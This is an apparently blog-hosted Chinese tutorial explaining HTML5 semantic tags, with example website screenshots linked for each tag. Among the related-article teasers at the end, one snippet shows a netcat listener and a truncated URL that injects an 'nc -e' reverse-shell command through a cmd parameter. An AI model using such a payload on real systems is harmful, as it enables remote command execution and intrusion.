语意标签-30天学会HTML+CSS,制作精美网站

在HTML5中新增了语意标签,取代以前只能用<div>划分区块,可以更清楚知道网页区块设计目的,也有有利SEO的搜寻。下图是网站标签的结构,依序跟大家说明每个标签的意义
https://ithelp.ithome.com.tw/upload/images/20210921/201120531lmsb2etmf.png

<header>网页页首

通常会放置logo、选单、搜寻框、注册按钮等元素。下面用三个网站不同排版的范例:
https://ithelp.ithome.com.tw/upload/images/20210921/20112053juVUuIGcVh.png

图片来源(https://syoss-selfcoloring.jp/ )

https://ithelp.ithome.com.tw/upload/images/20210921/201120533VA6hSUngY.png

图片来源(https://fabric-tokyo.com/ )

https://ithelp.ithome.com.tw/upload/images/20210921/20112053jk7d1bwP2G.png

图片来源(https://www.lacoste.jp/ )

<nav>导览列选单

用来连结到网站其他的页面。通常会放在标签内,或是独立一区块。以下两个范例都是选单独立成一块
https://ithelp.ithome.com.tw/upload/images/20210921/201120536ZnDPR6xw0.png

图片来源(https://www.kyoto-tower.jp/)

https://ithelp.ithome.com.tw/upload/images/20210921/20112053QGIA1yOGd5.png

图片来源(https://otent-nankai.jp/)

<main>网页主要的内容

这页面的主要资讯内容,也就是除了<header><nav><aside><footer>区块以外的内容,且一个网页只能有一个<main>标签

<aside>非主要的内容

与主要内容无关的额外资讯,像是侧边栏、广告、推荐文章....。范例旁边是与内容无关的资讯
https://ithelp.ithome.com.tw/upload/images/20210921/20112053FH3qkYvVct.png

图片来源(https://digitalist-web.jp/article/business/rKzdJ)

<article>文章

独立的区块包含一篇完整的内容,通常会有一个标题,像是新闻、部落格网站的文章

<section>群组或区块

制作一个区块的内容,用於章节段落的区分,会有标题及内容。
https://ithelp.ithome.com.tw/upload/images/20210921/201120531HNO3zCg6t.png

图片来源(https://digitalist-web.jp/)

<article>不同的是,<section>不一定是独立内容,但一定会有标题。

<footer>网页页尾

通常会放置版权声明、相关连结、联络方式。以下三是三个不同footer排版的范例
https://ithelp.ithome.com.tw/upload/images/20210921/201120536I14FseUNx.png

图片来源(https://digitalist-web.jp/)

https://ithelp.ithome.com.tw/upload/images/20210921/20112053m2c5xMzoEF.png

图片来源(https://pu-ca.jp/)

https://ithelp.ithome.com.tw/upload/images/20210921/20112053TqGMFJj6Rw.png

图片来源(https://www.mag2.co.jp/)

<div>无特定意义的区块

没有任何意义的区块,当想要组成群组,但不知道要放哪个区块

介绍完每个标签的意义後,以下用https://www.teinei.co.jp/ 网站来做整个网站的区块切割范例说明
https://ithelp.ithome.com.tw/upload/images/20210921/20112053acaAqbsOrG.jpg


<<:  Day 9探讨Scanner(Ⅰ)

>>:  Day6 用python写UI-聊聊标签Label方法(一)

Day-13 线性时间演算法 : Counting sort

Counting sort Input : Output : Aux(auxiliary) arra...

30天学会C语言: Day 28-指标&阵列

变数的大小 sizeof(<型别>) 可以查看某型别占用多少记忆体空间,单位是位元组 #...

MyBatis 设定

MyBatis设定 ...

[FGL] 程序开发(4) - 查询条件输入(QBE: Query By Example)

这个章节中,我们探讨四类查询指令中剩下的 QBE 条件输入指令 CONSTRUCT。做完条件的输入...

[Day24] Bind Shell / Reverse Shell

前言 $nc -lvnp 1337 http://shhhhh.com/?cmd=nc%20-e%2...